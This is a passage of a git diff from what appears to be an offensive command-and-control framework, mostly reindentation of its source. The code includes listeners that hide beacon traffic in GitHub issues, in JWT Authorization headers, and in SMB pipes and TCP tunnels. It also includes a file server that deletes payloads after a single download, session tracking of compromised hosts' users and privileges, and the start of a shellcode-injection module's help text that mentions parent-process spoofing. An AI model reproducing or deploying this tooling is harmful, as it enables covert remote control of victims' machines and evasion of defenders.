- {"title", reponseTitle}, - {"body", res}, - }; + continue; + } + } + } + else + { + nlohmann::json responseData = { + {"title", reponseTitle}, + {"body", res}, + }; - std::string data = responseData.dump(); + std::string data = responseData.dump(); - std::string contentType = "application/json"; - auto response = cli.Post(endpoint, headers, data, contentType); + std::string contentType = "application/json"; + auto response = cli.Post(endpoint, headers, data, contentType); - err = response.error(); - if(err!=httplib::Error::Success) - { + err = response.error(); + if(err!=httplib::Error::Success) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Http client Post {0}", httplib::to_string(err)); + m_logger->error("Http client Post {0}", httplib::to_string(err)); #endif - continue; - } + continue; + } - if(response->status!=200 && response->status!=201) - { + if(response->status!=200 && response->status!=201) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Error with the ListenerGithub: {0}", response->body); + m_logger->error("Error with the ListenerGithub: {0}", response->body); #endif - continue; - } - } - } + continue; + } + } + } - std::string data = "{\"state\":\"closed\"}"; - std::string contentType = "application/json"; + std::string data = "{\"state\":\"closed\"}"; + std::string contentType = "application/json"; - // close the issue - std::string issueEndpoint = "/repos/"; - issueEndpoint += m_project; - issueEndpoint += "/issues/"; - issueEndpoint += std::to_string(number); - auto response = cli.Post(issueEndpoint, headers, data, contentType); + // close the issue + std::string issueEndpoint = "/repos/"; + issueEndpoint += m_project; + issueEndpoint += "/issues/"; + issueEndpoint += std::to_string(number); + auto response = cli.Post(issueEndpoint, headers, data, contentType); - err = response.error(); - if(err!=httplib::Error::Success) - { + err = response.error(); + if(err!=httplib::Error::Success) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Http client Post close {0}", httplib::to_string(err)); + m_logger->error("Http client Post close {0}", httplib::to_string(err)); #endif - continue; - } - } - } - } + continue; + } + } + } + } - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - } + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + } } int ListenerGithub::HandleCheckIn(const std::string& req, std::string& output) { #ifdef BUILD_TEAMSERVER - m_logger->trace("HandleCheckIn"); + m_logger->trace("HandleCheckIn"); #endif - try - { - bool ret = handleMessages(req, output); - } - catch (const std::exception& ex) - { + try + { + bool ret = handleMessages(req, output); + } + catch (const std::exception& ex) + { #ifdef BUILD_TEAMSERVER - m_logger->error("HandleCheckIn catch exception"); + m_logger->error("HandleCheckIn catch exception"); #endif - } - catch (...) - { + } + catch (...) + { #ifdef BUILD_TEAMSERVER - m_logger->error("HandleCheckIn catch..."); + m_logger->error("HandleCheckIn catch..."); #endif - } + } - return 0; + return 0; } diff --git a/listener/ListenerGithub.hpp b/listener/ListenerGithub.hpp index 69e56c7..4c212fe 100644 --- a/listener/ListenerGithub.hpp +++ b/listener/ListenerGithub.hpp @@ -11,15 +11,15 @@ class ListenerGithub : public Listener public: ListenerGithub(const std::string& project, const std::string& token, const nlohmann::json& config = nlohmann::json::object()); - ~ListenerGithub(); + ~ListenerGithub(); private: - void checkGithubIssues(); - int HandleCheckIn(const std::string& req, std::string& res); + void checkGithubIssues(); + int HandleCheckIn(const std::string& req, std::string& res); - std::string m_project; - std::string m_token; + std::string m_project; + std::string m_token; - bool m_isRunning; - std::unique_ptr m_githubFetcher; + bool m_isRunning; + std::unique_ptr m_githubFetcher; }; diff --git a/listener/ListenerHttp.cpp b/listener/ListenerHttp.cpp index f9cfaae..784b34d 100644 --- a/listener/ListenerHttp.cpp +++ b/listener/ListenerHttp.cpp @@ -127,7 +127,7 @@ ListenerHttp::~ListenerHttp() void ListenerHttp::launchHttpServ() { - httplib::Response res; + httplib::Response res; json uri = json::array(); std::string uriFileDownload = m_listenerConfig.value("uriFileDownload", std::string{}); @@ -159,7 +159,7 @@ void ListenerHttp::launchHttpServ() } #endif - // Filter to match the URI of the config file or the file download URI + // Filter to match the URI of the config file or the file download URI m_svr->set_post_routing_handler([&, uriFileDownload](const auto& req, auto& res) { bool isUri = false; @@ -239,16 +239,16 @@ void ListenerHttp::launchHttpServ() #ifdef BUILD_TEAMSERVER // m_logger->info("Get connection: {0}", req.path); #endif - if (req.has_header("Authorization")) - { - // jwt should contained Bearer b64data.b6data.beaconData - std::string jwt = req.get_header_value("Authorization"); + if (req.has_header("Authorization")) + { + // jwt should contained Bearer b64data.b6data.beaconData + std::string jwt = req.get_header_value("Authorization"); - std::string data; - char delimiter = '.'; - size_t pos = jwt.find_last_of(delimiter); - if (pos != std::string::npos) - data = jwt.substr(pos + 1); + std::string data; + char delimiter = '.'; + size_t pos = jwt.find_last_of(delimiter); + if (pos != std::string::npos) + data = jwt.substr(pos + 1); if(!data.empty()) { @@ -292,38 +292,38 @@ void ListenerHttp::launchHttpServ() }); } - // File Server - if(!uriFileDownload.empty()) - { - std::string fileDownloadReg = uriFileDownload; - fileDownloadReg+=":filename"; - m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res) - { - bool deleteFile=false; - auto it = req.headers.find("OneTimeDownload"); - if (it != req.headers.end()) - { - std::string header_value = it->second; - deleteFile=true; - } + // File Server + if(!uriFileDownload.empty()) + { + std::string fileDownloadReg = uriFileDownload; + fileDownloadReg+=":filename"; + m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res) + { + bool deleteFile=false; + auto it = req.headers.find("OneTimeDownload"); + if (it != req.headers.end()) + { + std::string header_value = it->second; + deleteFile=true; + } #ifdef BUILD_TEAMSERVER if(m_logger && m_logger->should_log(spdlog::level::debug)) m_logger->debug("File server connection: {}, OneTimeDownload {}", req.path, deleteFile); #endif - std::string filename = req.path_params.at("filename"); - std::string filePath = downloadFolder; - filePath+="/"; - filePath+=filename; - std::ifstream file(filePath, std::ios::binary); + std::string filename = req.path_params.at("filename"); + std::string filePath = downloadFolder; + filePath+="/"; + filePath+=filename; + std::ifstream file(filePath, std::ios::binary); - if (file) - { + if (file) + { - std::string buffer; - buffer.assign(std::istreambuf_iterator(file), std::istreambuf_iterator()); + std::string buffer; + buffer.assign(std::istreambuf_iterator(file), std::istreambuf_iterator()); #ifdef BUILD_TEAMSERVER std::string md5 = computeBufferMd5(buffer); @@ -335,38 +335,38 @@ void ListenerHttp::launchHttpServ() ); #endif - res.set_content(buffer, "application/x-binary"); + res.set_content(buffer, "application/x-binary"); - file.close(); - if(deleteFile) - { + file.close(); + if(deleteFile) + { #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->info("Delete file {}", filePath); #endif - // std::string backUpFile = filePath+".DELETED"; - // std::rename(filePath.data(), backUpFile.data()); - std::remove(filePath.data()); - } - } - else - { + // std::string backUpFile = filePath+".DELETED"; + // std::rename(filePath.data(), backUpFile.data()); + std::remove(filePath.data()); + } + } + else + { #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->warn("File server: File not found at {}", filePath); #endif - res.status = 404; - } - }); - } + res.status = 404; + } + }); + } - m_svr->listen(m_host.c_str(), m_port); + m_svr->listen(m_host.c_str(), m_port); } int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response& res) { - string input = req.body; + string input = req.body; #ifdef BUILD_TEAMSERVER if(m_logger) @@ -376,11 +376,11 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response& } #endif - string output; - bool ret = handleMessages(input, output); + string output; + bool ret = handleMessages(input, output); - json httpHeaders; + json httpHeaders; try { httpHeaders = m_listenerConfig.at("server").at("headers"); @@ -394,22 +394,22 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response& return -1; } - httplib::Headers httpServerHeaders; - for (auto& it : httpHeaders.items()) - httpServerHeaders.insert({(it).key(), (it).value()}); - res.headers = httpServerHeaders; + httplib::Headers httpServerHeaders; + for (auto& it : httpHeaders.items()) + httpServerHeaders.insert({(it).key(), (it).value()}); + res.headers = httpServerHeaders; #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->trace("output.size {}", std::to_string(output.size())); #endif - if(ret) - res.body = output; - else - res.status = 200; + if(ret) + res.body = output; + else + res.status = 200; - return 0; + return 0; } @@ -423,11 +423,11 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons } #endif - string output; - bool ret = handleMessages(requestData, output); + string output; + bool ret = handleMessages(requestData, output); - json httpHeaders; + json httpHeaders; try { httpHeaders = m_listenerConfig.at("server").at("headers"); @@ -441,20 +441,20 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons return -1; } - httplib::Headers httpServerHeaders; - for (auto& it : httpHeaders.items()) - httpServerHeaders.insert({(it).key(), (it).value()}); - res.headers = httpServerHeaders; + httplib::Headers httpServerHeaders; + for (auto& it : httpHeaders.items()) + httpServerHeaders.insert({(it).key(), (it).value()}); + res.headers = httpServerHeaders; #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->trace("output.size {}", std::to_string(output.size())); #endif - if(ret) - res.body = output; - else - res.status = 200; + if(ret) + res.body = output; + else + res.status = 200; - return 0; + return 0; } diff --git a/listener/ListenerHttp.hpp b/listener/ListenerHttp.hpp index 6e85077..1e737ff 100644 --- a/listener/ListenerHttp.hpp +++ b/listener/ListenerHttp.hpp @@ -13,19 +13,19 @@ public: ListenerHttp(const std::string& ip, int localport, const nlohmann::json& config, bool isHttps=false); ~ListenerHttp(); - int init(); + int init(); private: - void launchHttpServ(); + void launchHttpServ(); - int HandleCheckIn(const httplib::Request& req, httplib::Response& res); - int HandleCheckIn(const std::string& requestData, httplib::Response& res); + int HandleCheckIn(const httplib::Request& req, httplib::Response& res); + int HandleCheckIn(const std::string& requestData, httplib::Response& res); - std::string m_host; - int m_port; + std::string m_host; + int m_port; bool m_isHttps; nlohmann::json m_listenerConfig; - std::unique_ptr m_svr; - std::unique_ptr m_httpServ; + std::unique_ptr m_svr; + std::unique_ptr m_httpServ; }; diff --git a/listener/ListenerSmb.cpp b/listener/ListenerSmb.cpp index 6a9edbb..0271455 100644 --- a/listener/ListenerSmb.cpp +++ b/listener/ListenerSmb.cpp @@ -16,11 +16,11 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con { m_listenerHash = random_string(SizeListenerHash); - json metadata; + json metadata; metadata["1"] = ListenerSmbType; metadata["2"] = ip; metadata["3"] = pipeName; - m_metadata = metadata.dump(); + m_metadata = metadata.dump(); m_serverSmb = new PipeHandler::Server(pipeName); @@ -50,8 +50,8 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con ListenerSmb::~ListenerSmb() { - m_stopThread=true; - m_smbServ->join(); + m_stopThread=true; + m_smbServ->join(); delete m_serverSmb; @@ -64,12 +64,12 @@ ListenerSmb::~ListenerSmb() void ListenerSmb::launchSmbServ() { - try + try { - while(1) - { - if(m_stopThread) - return; + while(1) + { + if(m_stopThread) + return; m_serverSmb->initServer(); @@ -105,13 +105,13 @@ void ListenerSmb::launchSmbServ() #endif } } - } - } + } + } catch (...) { return; } - return; + return; } diff --git a/listener/ListenerSmb.hpp b/listener/ListenerSmb.hpp index fcc6877..7961a8f 100644 --- a/listener/ListenerSmb.hpp +++ b/listener/ListenerSmb.hpp @@ -5,7 +5,7 @@ namespace PipeHandler { - class Server; + class Server; } class ListenerSmb : public Listener @@ -13,13 +13,13 @@ class ListenerSmb : public Listener public: ListenerSmb(const std::string& ip, const std::string& pipeName, const nlohmann::json& config = nlohmann::json::object()); - ~ListenerSmb(); + ~ListenerSmb(); private: - void launchSmbServ(); + void launchSmbServ(); - PipeHandler::Server* m_serverSmb; + PipeHandler::Server* m_serverSmb; - bool m_stopThread; - std::unique_ptr m_smbServ; + bool m_stopThread; + std::unique_ptr m_smbServ; }; diff --git a/listener/ListenerTcp.cpp b/listener/ListenerTcp.cpp index fa511a4..e154b8d 100644 --- a/listener/ListenerTcp.cpp +++ b/listener/ListenerTcp.cpp @@ -9,21 +9,21 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j : Listener("0.0.0.0", std::to_string(localPort), ListenerTcpType) , m_stopThread(true) { - m_listenerHash = random_string(SizeListenerHash); + m_listenerHash = random_string(SizeListenerHash); - json metadata; + json metadata; metadata["1"] = ListenerTcpType; metadata["2"] = ip; metadata["3"] = std::to_string(localPort); - m_metadata = metadata.dump(); + m_metadata = metadata.dump(); - m_port = localPort; + m_port = localPort; - m_serverTcp = new SocketServer(m_port); + m_serverTcp = new SocketServer(m_port); #ifdef BUILD_TEAMSERVER - // Logger - std::vector sinks; + // Logger + std::vector sinks; auto console_sink = std::make_shared(); auto logLevel = resolveLogLevel(config); @@ -33,7 +33,7 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j auto file_sink = std::make_shared("logs/Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash+".txt", 1024*1024*10, 3); file_sink->set_level(spdlog::level::trace); - sinks.push_back(file_sink); + sinks.push_back(file_sink); m_logger = std::make_shared("Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash.substr(0,8), begin(sinks), end(sinks)); m_logger->set_level(logLevel); @@ -44,64 +44,64 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j int ListenerTcp::init() { - try - { - int maxAttempt=10; - int attempts=0; - while(!m_serverTcp->isServerLaunched()) - { - m_serverTcp->stop(); - m_serverTcp->launch(); - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - // std::cout << "Wait for SocksServer to start on port " << m_port << std::endl; - attempts++; - if(attempts>maxAttempt) - { - // std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl; + try + { + int maxAttempt=10; + int attempts=0; + while(!m_serverTcp->isServerLaunched()) + { + m_serverTcp->stop(); + m_serverTcp->launch(); + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + // std::cout << "Wait for SocksServer to start on port " << m_port << std::endl; + attempts++; + if(attempts>maxAttempt) + { + // std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl; #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->error("Unable to start the SocksServer on port {}", m_port); #endif - } - } + } + } - if(m_serverTcp->isServerStoped()) - { - // std::cout << "Start SocksServer failed on port " << m_port << std::endl; - return -1; - } + if(m_serverTcp->isServerStoped()) + { + // std::cout << "Start SocksServer failed on port " << m_port << std::endl; + return -1; + } #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->info("TCP listener started on port {}", m_port); #endif - m_stopThread=false; - m_tcpServ = std::make_unique(&ListenerTcp::launchTcpServ, this); - } - catch(const std::exception& e) - { - // std::cout << e.what() << '\n'; + m_stopThread=false; + m_tcpServ = std::make_unique(&ListenerTcp::launchTcpServ, this); + } + catch(const std::exception& e) + { + // std::cout << e.what() << '\n'; #ifdef BUILD_TEAMSERVER if(m_logger) m_logger->error("TCP listener initialization failure: {}", e.what()); #endif - return -1; - } - - return 1; + return -1; + } + + return 1; } ListenerTcp::~ListenerTcp() { - if(m_stopThread==false) - { - m_stopThread=true; - m_tcpServ->join(); - } + if(m_stopThread==false) + { + m_stopThread=true; + m_tcpServ->join(); + } - delete m_serverTcp; + delete m_serverTcp; #ifdef BUILD_TEAMSERVER if(m_logger) @@ -122,7 +122,7 @@ int ListenerTcp::splitInPacket(const std::string& input, std::vectorm_socketTunnelServers.size(); i++) - { - if(m_serverTcp->m_socketTunnelServers[i]!=nullptr) - { - std::string input; - int res = m_serverTcp->m_socketTunnelServers[i]->recv(input); + while(!m_stopThread) + { + for(int i=0; im_socketTunnelServers.size(); i++) + { + if(m_serverTcp->m_socketTunnelServers[i]!=nullptr) + { + std::string input; + int res = m_serverTcp->m_socketTunnelServers[i]->recv(input); if(res<0) { @@ -151,33 +151,33 @@ void ListenerTcp::launchTcpServ() m_logger->warn("Closed TCP tunnel {} due to read failure", i); #endif } - else if(!input.empty()) - { - std::vector trames; - splitInPacket(input, trames); + else if(!input.empty()) + { + std::vector trames; + splitInPacket(input, trames); - for(int j=0; j"); - m_serverTcp->m_socketTunnelServers[i]->send(output); - } - } - } - } + for(int j=0; j"); + m_serverTcp->m_socketTunnelServers[i]->send(output); + } + } + } + } - // Remove ended tunnels - m_serverTcp->cleanTunnel(); + // Remove ended tunnels + m_serverTcp->cleanTunnel(); - std::this_thread::sleep_for(std::chrono::milliseconds(20)); - } - } + std::this_thread::sleep_for(std::chrono::milliseconds(20)); + } + } catch (...) { return; } - return; + return; } diff --git a/listener/ListenerTcp.hpp b/listener/ListenerTcp.hpp index 6466669..f35b04b 100644 --- a/listener/ListenerTcp.hpp +++ b/listener/ListenerTcp.hpp @@ -10,18 +10,18 @@ class ListenerTcp : public Listener public: ListenerTcp(const std::string& ip, int localport, const nlohmann::json& config = nlohmann::json::object()); - ~ListenerTcp(); - - int init(); + ~ListenerTcp(); + + int init(); private: - void launchTcpServ(); - int splitInPacket(const std::string& input, std::vector& output); + void launchTcpServ(); + int splitInPacket(const std::string& input, std::vector& output); - SocketServer* m_serverTcp; + SocketServer* m_serverTcp; - int m_port; + int m_port; - bool m_stopThread; - std::unique_ptr m_tcpServ; + bool m_stopThread; + std::unique_ptr m_tcpServ; }; diff --git a/listener/Session.hpp b/listener/Session.hpp index 91278b4..af4fdde 100644 --- a/listener/Session.hpp +++ b/listener/Session.hpp @@ -10,295 +10,295 @@ class SessionListener { public: - SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2) - { - m_listenerHash = listenerHash; - m_type = type; - m_param1 = param1; - m_param2 = param2; - } + SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2) + { + m_listenerHash = listenerHash; + m_type = type; + m_param1 = param1; + m_param2 = param2; + } - const std::string& getListenerHash() const - { - return m_listenerHash; - } + const std::string& getListenerHash() const + { + return m_listenerHash; + } - const std::string& getType() const - { - return m_type; - } + const std::string& getType() const + { + return m_type; + } - const std::string& getParam1() const - { - return m_param1; - } + const std::string& getParam1() const + { + return m_param1; + } - const std::string& getParam2() const - { - return m_param2; - } + const std::string& getParam2() const + { + return m_param2; + } private: - std::string m_listenerHash; - std::string m_type; - std::string m_param1; - std::string m_param2; + std::string m_listenerHash; + std::string m_type; + std::string m_param1; + std::string m_param2; }; class Session { public: - Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username, - const std::string& arch, const std::string& privilege, const std::string& os) - { - m_listenerHash=listenerHash; - m_beaconHash=beaconHash; - m_hostname=hostname; - m_username=username; - m_arch=arch; - m_privilege=privilege; - m_os=os; - m_killed=false; + Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username, + const std::string& arch, const std::string& privilege, const std::string& os) + { + m_listenerHash=listenerHash; + m_beaconHash=beaconHash; + m_hostname=hostname; + m_username=username; + m_arch=arch; + m_privilege=privilege; + m_os=os; + m_killed=false; - auto current_time = std::chrono::system_clock::now(); - auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); - m_lastProofOfLifeSec = duration_in_seconds.count(); - } + auto current_time = std::chrono::system_clock::now(); + auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); + m_lastProofOfLifeSec = duration_in_seconds.count(); + } - const std::string& getListenerHash() const - { - return m_listenerHash; - } - const std::string& getBeaconHash() const - { - return m_beaconHash; - } - const std::string& getUsername() const - { - return m_username; - } - const std::string& getHostname() const - { - return m_hostname; - } - const std::string& getArch() const - { - return m_arch; - } - const std::string& getPrivilege() const - { - return m_privilege; - } - const std::string& getOs() const - { - return m_os; - } - const std::string& getInternalIps() const - { - return m_internalIps; - } - const std::string& getProcessId() const - { - return m_processId; - } - const std::string& getAdditionalInformation() const - { - return m_additionalInformation; - } + const std::string& getListenerHash() const + { + return m_listenerHash; + } + const std::string& getBeaconHash() const + { + return m_beaconHash; + } + const std::string& getUsername() const + { + return m_username; + } + const std::string& getHostname() const + { + return m_hostname; + } + const std::string& getArch() const + { + return m_arch; + } + const std::string& getPrivilege() const + { + return m_privilege; + } + const std::string& getOs() const + { + return m_os; + } + const std::string& getInternalIps() const + { + return m_internalIps; + } + const std::string& getProcessId() const + { + return m_processId; + } + const std::string& getAdditionalInformation() const + { + return m_additionalInformation; + } - void setListenerHash(const std::string& listenerHash) - { - m_listenerHash = listenerHash; - } - void setBeaconHash(const std::string& beaconHash) - { - m_beaconHash = beaconHash; - } - void setUsername(const std::string& username) - { - m_username = username; - } - void setHostname(const std::string& hostname) - { - m_hostname = hostname; - } - void setArch(const std::string& arch) - { - m_arch = arch; - } - void setPrivilege(const std::string& privilege) - { - m_privilege = privilege; - } - void setOs(const std::string& os) - { - m_os = os; - } - void setInternalIps(const std::string& internalIps) - { - m_internalIps = internalIps; - } - void setProcessId(const std::string& processId) - { - m_processId = processId; - } - void setAdditionalInformation(const std::string& additionalInformation) - { - m_additionalInformation = additionalInformation; - } + void setListenerHash(const std::string& listenerHash) + { + m_listenerHash = listenerHash; + } + void setBeaconHash(const std::string& beaconHash) + { + m_beaconHash = beaconHash; + } + void setUsername(const std::string& username) + { + m_username = username; + } + void setHostname(const std::string& hostname) + { + m_hostname = hostname; + } + void setArch(const std::string& arch) + { + m_arch = arch; + } + void setPrivilege(const std::string& privilege) + { + m_privilege = privilege; + } + void setOs(const std::string& os) + { + m_os = os; + } + void setInternalIps(const std::string& internalIps) + { + m_internalIps = internalIps; + } + void setProcessId(const std::string& processId) + { + m_processId = processId; + } + void setAdditionalInformation(const std::string& additionalInformation) + { + m_additionalInformation = additionalInformation; + } - void updatePoofOfLife(std::string& lastProofOfLife) - { - double lastProofOfLifeSec = std::stod(lastProofOfLife); + void updatePoofOfLife(std::string& lastProofOfLife) + { + double lastProofOfLifeSec = std::stod(lastProofOfLife); - auto current_time = std::chrono::system_clock::now(); - auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); + auto current_time = std::chrono::system_clock::now(); + auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); - m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec; - } + m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec; + } - bool isSessionKilled() - { - return m_killed; - } + bool isSessionKilled() + { + return m_killed; + } - void setSessionAlive() - { - m_killed=false; - } + void setSessionAlive() + { + m_killed=false; + } - void setSessionKilled() - { - m_killed=true; - } + void setSessionKilled() + { + m_killed=true; + } - std::string getLastProofOfLife() - { - auto current_time = std::chrono::system_clock::now(); - auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); + std::string getLastProofOfLife() + { + auto current_time = std::chrono::system_clock::now(); + auto duration_in_seconds = std::chrono::duration(current_time.time_since_epoch()); - std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec); - if(m_killed) - output="-1"; + std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec); + if(m_killed) + output="-1"; - return output; - } + return output; + } - int addTask(const C2Message& task) - { - m_messageToSend.push(task); - return m_messageToSend.size(); - } + int addTask(const C2Message& task) + { + m_messageToSend.push(task); + return m_messageToSend.size(); + } - C2Message getTask() - { - C2Message output; - if(!m_messageToSend.empty()) - { - output.CopyFrom(m_messageToSend.front()); - m_messageToSend.pop(); - } - return output; - } + C2Message getTask() + { + C2Message output; + if(!m_messageToSend.empty()) + { + output.CopyFrom(m_messageToSend.front()); + m_messageToSend.pop(); + } + return output; + } - int addTaskResult(const C2Message& taskResult) - { - m_messageToRead.push(taskResult); - return m_messageToRead.size(); - } + int addTaskResult(const C2Message& taskResult) + { + m_messageToRead.push(taskResult); + return m_messageToRead.size(); + } - C2Message getTaskResult() - { - if (!m_messageToRead.empty()) - { - C2Message output = std::move(m_messageToRead.front()); - m_messageToRead.pop(); - return output; - } - return C2Message(); - } + C2Message getTaskResult() + { + if (!m_messageToRead.empty()) + { + C2Message output = std::move(m_messageToRead.front()); + m_messageToRead.pop(); + return output; + } + return C2Message(); + } - // Adds a new SessionListener to the current session if one with the same hash doesn't already exist. - // Returns true if the listener was successfully added, false if it already exists. - bool addListener(const std::string& listenerHash, const std::string& type, - const std::string& param1, const std::string& param2) - { - bool listenerAlreadyExists = false; + // Adds a new SessionListener to the current session if one with the same hash doesn't already exist. + // Returns true if the listener was successfully added, false if it already exists. + bool addListener(const std::string& listenerHash, const std::string& type, + const std::string& param1, const std::string& param2) + { + bool listenerAlreadyExists = false; - // Check if a listener with the same hash already exists in the session - for (int i = 0; i < m_sessionListener.size(); ++i) - { - if (m_sessionListener[i].getListenerHash() == listenerHash) - { - listenerAlreadyExists = true; - break; // Exit early if found - } - } + // Check if a listener with the same hash already exists in the session + for (int i = 0; i < m_sessionListener.size(); ++i) + { + if (m_sessionListener[i].getListenerHash() == listenerHash) + { + listenerAlreadyExists = true; + break; // Exit early if found + } + } - // If the listener does not exist, create and add it - if (!listenerAlreadyExists) - { - SessionListener sessionListener(listenerHash, type, param1, param2); - m_sessionListener.push_back(sessionListener); - return true; // Successfully added - } + // If the listener does not exist, create and add it + if (!listenerAlreadyExists) + { + SessionListener sessionListener(listenerHash, type, param1, param2); + m_sessionListener.push_back(sessionListener); + return true; // Successfully added + } - return false; // Listener already existed, not added - } + return false; // Listener already existed, not added + } - bool rmListener(const std::string& listenerHash) - { - auto it = m_sessionListener.begin(); - while(it != m_sessionListener.end()) - { - if((*it).getListenerHash() == listenerHash) - { - it = m_sessionListener.erase(it); - return true; - } - else - { - it++; - } - } - return false; - } + bool rmListener(const std::string& listenerHash) + { + auto it = m_sessionListener.begin(); + while(it != m_sessionListener.end()) + { + if((*it).getListenerHash() == listenerHash) + { + it = m_sessionListener.erase(it); + return true; + } + else + { + it++; + } + } + return false; + } - const std::vector& getListener() - { - return m_sessionListener; - } + const std::vector& getListener() + { + return m_sessionListener; + } private: - std::queue m_messageToRead; + std::queue m_messageToRead; std::queue m_messageRead; - std::queue m_messageToSend; + std::queue m_messageToSend; std::queue m_messageSent; - double m_lastProofOfLifeSec; + double m_lastProofOfLifeSec; - std::string m_listenerHash; - std::string m_beaconHash; - std::string m_hostname; - std::string m_username; - std::string m_arch; - std::string m_privilege; - std::string m_os; - std::string m_internalIps; - std::string m_processId; - std::string m_additionalInformation; + std::string m_listenerHash; + std::string m_beaconHash; + std::string m_hostname; + std::string m_username; + std::string m_arch; + std::string m_privilege; + std::string m_os; + std::string m_internalIps; + std::string m_processId; + std::string m_additionalInformation; - std::vector m_sessionListener; + std::vector m_sessionListener; - bool m_killed; + bool m_killed; }; @@ -308,64 +308,64 @@ private: class SocksSession { public: - SocksSession(const std::string& listenerHash, const std::string& beaconHash) - { - m_listenerHash=listenerHash; - m_beaconHash=beaconHash; - } + SocksSession(const std::string& listenerHash, const std::string& beaconHash) + { + m_listenerHash=listenerHash; + m_beaconHash=beaconHash; + } - std::string getListenerHash() - { - return m_listenerHash; - } + std::string getListenerHash() + { + return m_listenerHash; + } - std::string getBeaconHash() - { - return m_beaconHash; - } + std::string getBeaconHash() + { + return m_beaconHash; + } - int addTask(const C2Message& task) - { - m_messageToSend.push(task); - return m_messageToSend.size(); - } + int addTask(const C2Message& task) + { + m_messageToSend.push(task); + return m_messageToSend.size(); + } - C2Message getTask() - { - C2Message output; - if(!m_messageToSend.empty()) - { - output.CopyFrom(m_messageToSend.front()); - m_messageToSend.pop(); - } - return output; - } + C2Message getTask() + { + C2Message output; + if(!m_messageToSend.empty()) + { + output.CopyFrom(m_messageToSend.front()); + m_messageToSend.pop(); + } + return output; + } - int addTaskResult(const C2Message& taskResult) - { - m_messageToRead.push(taskResult); - return m_messageToRead.size(); - } + int addTaskResult(const C2Message& taskResult) + { + m_messageToRead.push(taskResult); + return m_messageToRead.size(); + } - C2Message getTaskResult() - { - C2Message output; - if(!m_messageToRead.empty()) - { - output.CopyFrom(m_messageToRead.front()); - m_messageToRead.pop(); - } - return output; - } + C2Message getTaskResult() + { + C2Message output; + if(!m_messageToRead.empty()) + { + output.CopyFrom(m_messageToRead.front()); + m_messageToRead.pop(); + } + return output; + } private: - std::queue m_messageToRead; + std::queue m_messageToRead; std::queue m_messageRead; - std::queue m_messageToSend; + std::queue m_messageToSend; std::queue m_messageSent; - std::string m_listenerHash; - std::string m_beaconHash; + std::string m_listenerHash; + std::string m_beaconHash; }; diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index 91d338a..74f3965 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -57,16 +57,16 @@ __attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor() AssemblyExec::AssemblyExec() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { - m_processToSpawn=""; - m_spoofedParent=""; - m_useSyscall=false; - m_isModeProcess = true; - m_isSpoofParent = false; + m_processToSpawn=""; + m_spoofedParent=""; + m_useSyscall=false; + m_isModeProcess = true; + m_isSpoofParent = false; } AssemblyExec::~AssemblyExec() @@ -77,28 +77,28 @@ AssemblyExec::~AssemblyExec() // OPSEC remove getHelp and getInfo strings from the beacon compilation std::string AssemblyExec::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "AssemblyExec Module:\n"; - info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n"; - info += "Captures and returns any output produced by the shellcode.\n"; - info += "\nOptions:\n"; - info += " -r Use a raw shellcode file.\n"; - info += " -e [args] Use Donut to generate shellcode from a .NET executable.\n"; - info += " -d [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n"; - info += "\nExecution Modes:\n"; - info += " thread Inject and execute in a new thread\n"; - info += " process Inject into a newly spawned process\n"; - info += " processWithSpoofedParent Same as above, but with spoofed parent process\n"; - info += "\nExamples:\n"; - info += 